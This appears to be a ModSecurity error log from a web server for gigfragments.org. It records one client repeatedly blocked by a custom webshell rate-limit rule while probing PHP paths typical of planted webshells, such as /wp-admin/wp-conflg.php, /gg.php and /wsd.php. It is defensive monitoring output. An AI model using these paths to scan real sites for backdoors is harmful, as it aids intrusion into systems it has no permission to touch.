[Thu Dec 25 22:39:35.673952 2025] [:error] [pid 22044:tid 22088] [client 4.217.192.251:61668] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aU1Mp3PTC5rQKTB0FQ-qIAAAAM0"]
[Thu Dec 25 22:39:35.945311 2025] [:error] [pid 22044:tid 22095] [client 4.217.192.251:52143] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aU1Mp3PTC5rQKTB0FQ-qIQAAANQ"]
[Thu Dec 25 22:39:36.296348 2025] [:error] [pid 27869:tid 27877] [client 4.217.192.251:52121] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aU1MqBNK7_n86kBD7qfn8QAAAIY"]
[Thu Dec 25 22:39:36.583884 2025] [:error] [pid 27869:tid 27875] [client 4.217.192.251:5374] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aU1MqBNK7_n86kBD7qfn8gAAAIQ"]
[Thu Dec 25 22:39:36.853494 2025] [:error] [pid 22043:tid 22059] [client 4.217.192.251:52152] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU1MqD4YVtlb2Iz_QE5Z1QAAAAs"]
[Thu Dec 25 22:39:37.131759 2025] [:error] [pid 22043:tid 22056] [client 4.217.192.251:61688] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU1MqT4YVtlb2Iz_QE5Z1gAAAAg"]
[Thu Dec 25 22:39:37.415315 2025] [:error] [pid 22043:tid 22068] [client 4.217.192.251:5361] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU1MqT4YVtlb2Iz_QE5Z1wAAABQ"]
[Thu Dec 25 22:39:37.684279 2025] [:error] [pid 22043:tid 22070] [client 4.217.192.251:57717] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU1MqT4YVtlb2Iz_QE5Z2gAAABY"]
[Thu Dec 25 22:39:37.968944 2025] [:error] [pid 22043:tid 22069] [client 4.217.192.251:61694] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aU1MqT4YVtlb2Iz_QE5Z3AAAABU"]
[Thu Dec 25 22:39:38.270760 2025] [:error] [pid 27869:tid 27879] [client 4.217.192.251:61667] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aU1MqhNK7_n86kBD7qfn9wAAAIg"]
[Thu Dec 25 22:39:38.564856 2025] [:error] [pid 22043:tid 22064] [client 4.217.192.251:52130] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aU1Mqj4YVtlb2Iz_QE5Z3QAAABA"]
[Thu Dec 25 22:39:38.871287 2025] [:error] [pid 22131:tid 22152] [client 4.217.192.251:52125] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aU1MqpvVMtSTB4lX2fY-pwAAAFE"]
[Thu Dec 25 22:39:39.156705 2025] [:error] [pid 27869:tid 27881] [client 4.217.192.251:52139] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aU1MqxNK7_n86kBD7qfn-AAAAIo"]
[Thu Dec 25 22:39:39.463370 2025] [:error] [pid 27869:tid 27888] [client 4.217.192.251:61665] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aU1MqxNK7_n86kBD7qfn-QAAAJE"]
[Thu Dec 25 22:39:39.753093 2025] [:error] [pid 27869:tid 27880] [client 4.217.192.251:5319] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aU1MqxNK7_n86kBD7qfn-gAAAIk"]
[Thu Dec 25 22:39:40.026909 2025] [:error] [pid 22043:tid 22049] [client 4.217.192.251:57681] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aU1MrD4YVtlb2Iz_QE5Z4gAAAAE"]
[Thu Dec 25 22:39:40.302779 2025] [:error] [pid 22131:tid 22139] [client 4.217.192.251:5363] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU1MrJvVMtSTB4lX2fY-qQAAAEU"]
[Thu Dec 25 22:39:40.584845 2025] [:error] [pid 22044:tid 22087] [client 4.217.192.251:57702] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU1MrHPTC5rQKTB0FQ-qJgAAAMw"]
[Thu Dec 25 22:39:40.863241 2025] [:error] [pid 27869:tid 27891] [client 4.217.192.251:57707] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU1MrBNK7_n86kBD7qfn_AAAAJQ"]
[Thu Dec 25 22:39:41.197656 2025] [:error] [pid 22045:tid 22119] [client 4.217.192.251:61654] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aU1MrasGGmXjDnvlmHt29QAAAVE"]
[Thu Dec 25 22:39:41.521157 2025] [:error] [pid 22044:tid 22078] [client 4.217.192.251:57378] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aU1MrXPTC5rQKTB0FQ-qJwAAAMM"]
[Thu Dec 25 22:39:41.819964 2025] [:error] [pid 22044:tid 22082] [client 4.217.192.251:5356] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aU1MrXPTC5rQKTB0FQ-qKAAAAMc"]
[Thu Dec 25 22:39:42.130427 2025] [:error] [pid 22131:tid 22144] [client 4.217.192.251:5340] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aU1MrpvVMtSTB4lX2fY-rAAAAEo"]
[Thu Dec 25 22:39:42.410622 2025] [:error] [pid 27869:tid 27884] [client 4.217.192.251:60811] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aU1MrhNK7_n86kBD7qfn_wAAAI0"]
[Thu Dec 25 22:39:42.720648 2025] [:error] [pid 22044:tid 22092] [client 4.217.192.251:5577] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aU1MrnPTC5rQKTB0FQ-qKgAAANE"]
[Thu Dec 25 22:39:43.036581 2025] [:error] [pid 27869:tid 27873] [client 4.217.192.251:65302] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aU1MrxNK7_n86kBD7qfoAAAAAII"]
[Thu Dec 25 22:39:43.332720 2025] [:error] [pid 22043:tid 22072] [client 4.217.192.251:57706] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aU1Mrz4YVtlb2Iz_QE5Z5QAAABg"]
[Thu Dec 25 22:39:43.613394 2025] [:error] [pid 27869:tid 27877] [client 4.217.192.251:5617] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "aU1MrxNK7_n86kBD7qfoAgAAAIY"]
[Thu Dec 25 22:39:43.895333 2025] [:error] [pid 22044:tid 22086] [client 4.217.192.251:61693] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aU1Mr3PTC5rQKTB0FQ-qLAAAAMs"]
[Thu Dec 25 22:39:44.175719 2025] [:error] [pid 27869:tid 27886] [client 4.217.192.251:64257] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aU1MsBNK7_n86kBD7qfoBQAAAI8"]
[Thu Dec 25 22:39:44.484627 2025] [:error] [pid 22131:tid 22153] [client 4.217.192.251:57682] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aU1MsJvVMtSTB4lX2fY-rwAAAFI"]
[Thu Dec 25 22:39:44.774338 2025] [:error] [pid 22131:tid 22157] [client 4.217.192.251:57676] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aU1MsJvVMtSTB4lX2fY-sAAAAFU"]
[Thu Dec 25 22:39:45.051420 2025] [:error] [pid 22131:tid 22140] [client 4.217.192.251:57694] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aU1MsZvVMtSTB4lX2fY-sQAAAEY"]
[Thu Dec 25 22:39:45.361191 2025] [:error] [pid 22131:tid 22160] [client 4.217.192.251:52158] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aU1MsZvVMtSTB4lX2fY-sgAAAFg"]
[Thu Dec 25 22:39:45.630881 2025] [:error] [pid 22045:tid 22116] [client 4.217.192.251:61684] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aU1MsasGGmXjDnvlmHt2-gAAAU4"]
[Thu Dec 25 22:39:45.915191 2025] [:error] [pid 22045:tid 22102] [client 4.217.192.251:5368] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aU1MsasGGmXjDnvlmHt2-wAAAUA"]
[Thu Dec 25 22:39:46.211870 2025] [:error] [pid 22044:tid 22077] [client 4.217.192.251:5327] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aU1MsnPTC5rQKTB0FQ-qLQAAAMI"]
[Thu Dec 25 22:39:46.487753 2025] [:error] [pid 22045:tid 22124] [client 4.217.192.251:57720] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aU1MsqsGGmXjDnvlmHt2_QAAAVY"]
[Thu Dec 25 22:39:46.780800 2025] [:error] [pid 22044:tid 22091] [client 4.217.192.251:5572] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aU1MsnPTC5rQKTB0FQ-qLgAAANA"]
[Thu Dec 25 22:39:47.054767 2025] [:error] [pid 22045:tid 22105] [client 4.217.192.251:60836] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aU1Ms6sGGmXjDnvlmHt3AwAAAUM"]
[Thu Dec 25 22:39:47.364376 2025] [:error] [pid 22045:tid 22109] [client 4.217.192.251:52129] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aU1Ms6sGGmXjDnvlmHt3BQAAAUc"]
[Thu Dec 25 22:39:47.701847 2025] [:error] [pid 22044:tid 22084] [client 4.217.192.251:57712] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aU1Ms3PTC5rQKTB0FQ-qMAAAAMk"]
[Thu Dec 25 22:39:47.976302 2025] [:error] [pid 22043:tid 22066] [client 4.217.192.251:57690] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aU1Msz4YVtlb2Iz_QE5Z7AAAABI"]
[Thu Dec 25 22:39:48.275907 2025] [:error] [pid 22043:tid 22069] [client 4.217.192.251:5343] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aU1MtD4YVtlb2Iz_QE5Z7QAAABU"]
[Thu Dec 25 22:39:48.559740 2025] [:error] [pid 22043:tid 22064] [client 4.217.192.251:5622] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aU1MtD4YVtlb2Iz_QE5Z8AAAABA"]
[Thu Dec 25 22:39:48.854675 2025] [:error] [pid 22043:tid 22067] [client 4.217.192.251:5603] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aU1MtD4YVtlb2Iz_QE5Z8gAAABM"]
[Thu Dec 25 22:39:49.142178 2025] [:error] [pid 22044:tid 22079] [client 4.217.192.251:61643] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aU1MtXPTC5rQKTB0FQ-qMgAAAMQ"]
[Thu Dec 25 22:39:49.442326 2025] [:error] [pid 22043:tid 22049] [client 4.217.192.251:64256] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lv.php"] [unique_id "aU1MtT4YVtlb2Iz_QE5Z9AAAAAE"]
[Thu Dec 25 22:39:49.783812 2025] [:error] [pid 27869:tid 27880] [client 4.217.192.251:64260] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aU1MtRNK7_n86kBD7qfoCQAAAIk"]
[Thu Dec 25 22:39:50.068877 2025] [:error] [pid 22131:tid 22155] [client 4.217.192.251:57670] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aU1MtpvVMtSTB4lX2fY-tQAAAFM"]
[Thu Dec 25 22:39:50.368415 2025] [:error] [pid 27869:tid 27890] [client 4.217.192.251:61689] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aU1MthNK7_n86kBD7qfoCwAAAJM"]
[Thu Dec 25 22:39:50.706123 2025] [:error] [pid 22044:tid 22083] [client 4.217.192.251:52106] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aU1MtnPTC5rQKTB0FQ-qNQAAAMg"]
[Thu Dec 25 22:39:50.991231 2025] [:error] [pid 22043:tid 22055] [client 4.217.192.251:5630] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aU1Mtj4YVtlb2Iz_QE5Z9gAAAAc"]
[Thu Dec 25 22:39:51.262777 2025] [:error] [pid 22043:tid 22051] [client 4.217.192.251:61648] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aU1Mtz4YVtlb2Iz_QE5Z9wAAAAM"]
[Thu Dec 25 22:39:51.538456 2025] [:error] [pid 22131:tid 22139] [client 4.217.192.251:5346] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aU1Mt5vVMtSTB4lX2fY-ugAAAEU"]
[Thu Dec 25 22:39:51.811527 2025] [:error] [pid 22043:tid 22072] [client 4.217.192.251:61657] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aU1Mtz4YVtlb2Iz_QE5Z-QAAABg"]
